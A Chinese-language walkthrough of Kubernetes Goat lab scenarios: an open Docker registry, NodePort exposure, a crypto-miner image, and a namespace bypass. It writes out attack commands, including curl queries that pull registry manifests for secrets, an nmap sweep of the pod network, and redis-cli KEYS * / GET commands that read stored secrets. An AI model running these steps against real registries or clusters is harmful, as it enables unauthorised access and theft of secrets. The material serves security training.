Container registry is the place where all the container images gets pushed. Most of the time each organization have their own private registry. Also sometimes it ends up misconfigured, public/open. On the other hand, developers assumes that it’s internal private registry only and end up storing all the sensitive information inside the container images. Let’s see what we can find here.

靶场地址:http://127.0.0.1:1235/

image-20260312104403414空白页面,进行路径扫描。

image-20260312104330230

/v2/这是 Docker Registry HTTP API v2 的固定前缀。很多镜像仓库都会提供这个接口格式。

接口未授权

发现了http://127.0.0.1:1235/v2/_catalog,该接口主要用于查询目录信息,它会返回容器注册表中所有可用镜像的详细信息。

image-20260312104456639

获取镜像 latest 标签对应的 manifest。

1
curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest

image-20260312105501209

查找其中的敏感信息

1
curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest | grep -i env

image-20260312105627914

不仅如此,还可以进行镜像的下载,然后进行镜像代码的分析,如下样例。

1
2
3
4
# docker pull <镜像名称>:<标签>
docker pull nginx:latest
# docker save -o <保存文件名>.tar <镜像名称>:<标签>
docker save -o nginx.tar nginx:latest

八、NodePort exposed services

在这种情况下,我们看到了另一种配置错误,它可能使攻击者能够访问内部服务和未公开的服务。这是在创建 Kubernetes 服务以及集群设置和配置过程中常见的简单配置错误之一。

scenario-8-ffadb402f58fbe7a3d4845cef3ce9609

在此场景下,我们将理解并学习到:

  1. Kubernetes NodePort工作原理、配置和范围。
  2. 执行端口扫描并与Kubernetes 节点交互,

集群内的服务暴露

如果任何用户使用NodePort将Kubernetes集群中的任何服务暴露出来,则意味着运行Kubernetes集群的节点未启用任何防火墙/网络安全措施。我们需要查看是否存在未经身份验证和授权的服务。

当Kubernetes创建NodePort服务时,它会从Kubernetes集群配置中定义的标志指定的端口范围内分配一个端口。(默认情况下,这些端口的范围是30000到32767)。

运行以下命令获取kubernetes节点外部IP地址信息列表:

1
kubectl get nodes -o wide

image-20260402202936891

发现EXTERNAL-IP<none>,这还是由于我在自己电脑的Kind环境下搭建,造成的问题。这种环境情况下,NodePort是不可能将集群中的服务暴露出来的,连EXTERNAL-IP都没有。

真正有危害的配置是,通过EXTERNAL-IP:NodePort,直接访问了集群内部的服务。

这里我本意是想演示这个有危害的效果,但是失败了。如果使用公网IP搭建k8s goat的话,可能会有这个效果。

九、Analyzing crypto miner container

通常情况下,大多数容器用户都会从 Docker Hub 等公共容器镜像仓库下载镜像。我们已经看到大量针对这些仓库的攻击和入侵事件,攻击者还会上传包含加密货币挖矿程序的容器镜像来滥用集群资源。本文将介绍一种利用公共容器镜像漏洞的简单且常见的方法

通过本情景模拟,我们将理解并学习以下内容:

  1. 你将学习如何分析容器镜像
  2. 了解 Kubernetes 作业并使用它们
  3. 了解容器镜像清单、后门和加密货币挖矿程序

追踪镜像文件的位置

首先,确定kubernetes集群中的所有资源/镜像,包括作业(jobs)。

1
kubectl get jobs

image-20260402220035179

在kubernetes集群中找到了job,就可以通过以下命令来获取pod信息。

1
kubectl describe job batch-check-job

image-20260402220933457

然后运行以下命令获取 pod 信息,该命令会显示标签和选择器匹配的 pod。

1
kubectl get pods --namespace default -l "job-name=batch-check-job"

image-20260402221022885

可以运行以下命令获取pod所有信息,该命令会以yaml输出格式返回完整的清单信息。

1
kubectl get pod batch-check-job-g4qkn -o yaml

image-20260402221520601

我们可以看到,这个作业 pod 正在运行 madhuakula/k8s-goat-batch-check Docker 容器镜像。

现在我们可以通过查看容器镜像的层结构及其创建方式来对其进行分析。

1
docker history --no-trunc madhuakula/k8s-goat-batch-check

image-20260402225121377

可能是因为作者在后面更新了这个k8s-goat-batch-check镜像,这个和官网题解的图完全不一样。下面这个是官网的:

sc-10-4-649f6c8af994c250d16af0eae7581db3

这里大致了解一下整个排查镜像的流程即可。

十、Kubernetes namespaces bypass

这是 Kubernetes 领域一个很大的误解。大多数人认为,当 Kubernetes 中存在不同的命名空间,并且资源部署和管理都已就绪时,它们就安全无虞,彼此无法访问。然而,许多实际的多租户环境却因此遭受攻击,关键资源暴露在内部。默认情况下,Kubernetes 采用的是扁平网络架构,如果我们需要进行网络分段,则必须通过创建诸如网络安全策略 (NSP) 等边界来实现。在这种情况下,我们将看到如何绕过命名空间并访问其他命名空间中的资源。

scenario-11-e55c9b80c23a981a44e3ab1175875d2a

通过本情景模拟,我们将理解并学习以下内容:

  1. 您将了解人们对 Kubernetes 命名空间的误解。
  2. 了解 Kubernetes 网络扁平化架构以及如何跨命名空间通信
  3. 对网络端口扫描和漏洞进行侦察和测试
  4. 绕过命名空间限制,获取对其他命名空间资源的访问权限

跨命名空间资源访问

Kubernetes默认使用扁平化网络架构,这意味着集群内的任何Pod/Service都可以与其他Pod/Service通信。集群内的命名空间默认情况下没有任何网络安全限制。命名空间中的任何对象都可以与其他命名空间通信。我们听说Kubernetes-Goat非常依赖缓存。让我们看看能否访问其他命名空间。

使用下面的命令在默认命名空间中运行hacker-container来开始操作。

1
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

首先,我们需要了解集群的 IP 地址范围信息,以便使用端口扫描器扫描整个集群范围,因为我们不知道哪些服务正在哪些 IP 地址上运行

1
2
3
ip route
ifconfig
printenv

image-20260403161541000

基于对系统的分析/理解,我们可以使用 nmap 在 6379 端口(Redis 的默认端口——假设缓存服务是 Redis,但此处测试没有限制,实际应用中我们会看到很多内部服务,例如 ElasticSearch、Mongo、MySQL 等)上运行整个集群范围的内部扫描。

1
nmap -p 6379 -Pn -T4 --open -oG results.grep 10.244.0.0/16

image-20260404163419292

既然我们已经确定了服务的IP地址,现在我们可以使用redis-cli客户端通过默认的redis来与该服务通信并进行探索。

1
redis-cli -h 10.244.1.5

获取所有可用秘钥。再使用GET获取特定秘钥信息。

1
2
KEYS *
GET SECRETSTUFF

image-20260404163845932

参考


  1. k8s goat靶场 https://github.com/madhuakula/kubernetes-goat ↩︎

  2. crictl工具 https://github.com/kubernetes-sigs/cri-tools/releases ↩︎

  3. EXPLOIT_CONTAINERD_SOCK https://kubehound.io/reference/attacks/EXPLOIT_CONTAINERD_SOCK/ ↩︎

  4. DaemonSet https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/ ↩︎